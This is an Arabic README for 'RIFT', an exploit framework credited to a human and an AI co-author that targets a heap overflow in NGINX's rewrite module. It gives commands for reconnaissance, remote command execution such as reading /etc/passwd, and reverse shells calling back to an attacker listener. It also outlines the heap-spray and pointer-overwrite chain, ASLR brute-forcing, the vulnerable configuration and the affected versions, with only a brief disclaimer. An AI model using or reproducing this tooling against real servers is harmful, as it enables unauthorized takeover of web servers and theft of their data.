RIFT — Remote Injection & Fault Trigger

المؤلف: Michael Sanji Winaya Prawiradibrata
المؤلف المشارك بالذكاء الاصطناعي: Varanus — صديقي

إطار عمل لاستغلال تجاوز سعة المخزن المؤقت للكومة يستهدف وحدة ngx_http_rewrite_module الخاصة بـ NGINX.
أداة واحدة للاستطلاع + الاستغلال. بدون تبعيات خارجية.

محتوى المستودع

المتطلبات

• Python 3.6+ (مكتبة قياسية فقط — لا pip، لا venv، لا تبعيات)

طريقة سريعة

# 1. استطلاع كامل — كشف الإصدار، نقاط النهاية، الثغرات، الاستراتيجية
python3 rift.py --target 10.10.10.10 --recon

# 2. استطلاع + استغلال في جولة واحدة
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. تنفيذ أمر
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. شل عكسي (فتح المستمع تلقائيًا)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. شل عكسي باستخدام bash (بدلاً من python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. فقط تحقق من قابلية الاستغلال
python3 rift.py --target 10.10.10.10 --check-only

جميع العلامات (Flags)

وضع الاستخدام

خيارات الاستغلال

خيارات الاستطلاع

الميزات البارزة

✅ شل عكسي تلقائي

عند استخدام --shell، يقوم السكريبت تلقائيًا بـ:

1. إنشاء حمولة الشل العكسي حسب --shell-type
2. فتح مستمع على --lport
3. إرسال الاستغلال
4. بمجرد تعطل العامل ← وصول الشل
5. مستمع تلقائي: إعطاء الأولوية لـ netcat (nc -lvnp)، والرجوع إلى مستمع Python

✅ القوة العمياء التلقائية لـ ASLR

إذا فشلت العناوين الافتراضية، يقوم السكريبت تلقائيًا بتحريك قاعدة الكومة ±5 خطوات × 0x10000، بحثًا عن عنوان مناسب. لا حاجة لإعداد يدوي.

✅ حمولات شل عكسي متعددة

4 أنواع من حمولات الشل — python، bash، nc، php. اختر ما هو متاح على الهدف.

✅ استطلاع كامل

--recon ينفذ 5 مراحل:

1. البصمة — كشف إصدار NGINX، 15 نقطة نهاية شائعة، وحدة إعادة الكتابة
2. تسريب المعلومات — عنوان الذاكرة في صفحة الخطأ، قناة جانبية للتوقيت
3. اختبار نقطة النهاية — سلوك نقطة النهاية مع 6 أنواع من الحمولات
4. عدد العمال — تقدير عدد عمليات العامل من نمط زمن الاستجابة
5. الاستراتيجية — توصية بالإجراء بناءً على نتائج التحليل

✅ إخراج JSON

--output json للتكامل مع أدوات أخرى أو التحليل الآلي.

التكوين القابل للاستغلال

الهدف من الاستغلال هو NGINX بالتكوين التالي rewrite + set:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # حساب الطول باستخدام is_args = 0
}

النتيجة: المخزن المؤقت المخصص صغير جدًا، ويؤدي هروب URI (توسع 3 أضعاف) إلى تجاوز السعة.

الإصدارات المتأثرة

• NGINX مفتوح المصدر: 0.6.27 – 1.30.0
• NGINX Plus: R32 – R36
• تم الإصلاح: 1.31.0، 1.30.1، R36 P4+، R35 P2+، R32 P6+

آلية عمل الاستغلال

1. رش الكومة ─── POST /spray × 20 → زرع ngx_pool_cleanup_s وهمي في الكومة
2. التشغيل ───── GET /api/AAAA...++++... → تجاوز عبر هروب URI
3. الإفساد ───── الكتابة فوق مؤشر التنظيف للمسبح المجاور
4. التنفيذ ───── تدمير المسبح → استدعاء system("command")

الثوابت الهامة (يمكن تغييرها في rift.py)

أمثلة كاملة

تنفيذ أمر + تفصيلي

python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

عنوان مخصص (تجاوز ASLR)

python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

محاولات متعددة

python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

استطلاع + JSON

python3 rift.py --target 10.10.10.10 --recon --output json

إنشاء سكريبت استغلال

python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

استكشاف الأخطاء وإصلاحها

"الهدف لا يبدو أنه يشغل NGINX"

• تحقق من المنفذ: nc -zv <IP> 80
• جرب منفذًا آخر: --port 8080، --port 443
• ربما خلف WAF/بروكسي

"فشلت جميع محاولات الاستغلال"

1. قد يكون ASRL نشطًا — جرب --auto للانزلاق التلقائي لـ ASLR
2. قد يكون إصدار NGINX قد تم تصحيحه (> 1.30.1)
3. قد لا يكون تكوين NGINX قابلاً للاستغلال (لا يستخدم rewrite+set)
4. جرب --verbose لرؤية تفاصيل كل محاولة

الشل لا يتصل

• تحقق من جدار الحماية المحلي: sudo ufw allow 4444
• تحقق من --lhost — تأكد من صحة IP المحلي
• جرب --shell-type bash أو --shell-type nc

إخلاء مسؤولية

أُنشئ لأغراض تعليمية واختبار الأمان المصرح به فقط.
استخدامه ضد أنظمة دون إذن هو غير قانوني.

© 2026 Michael Sanji Winaya Prawiradibrata
المؤلف المشارك بالذكاء الاصطناعي: Varanus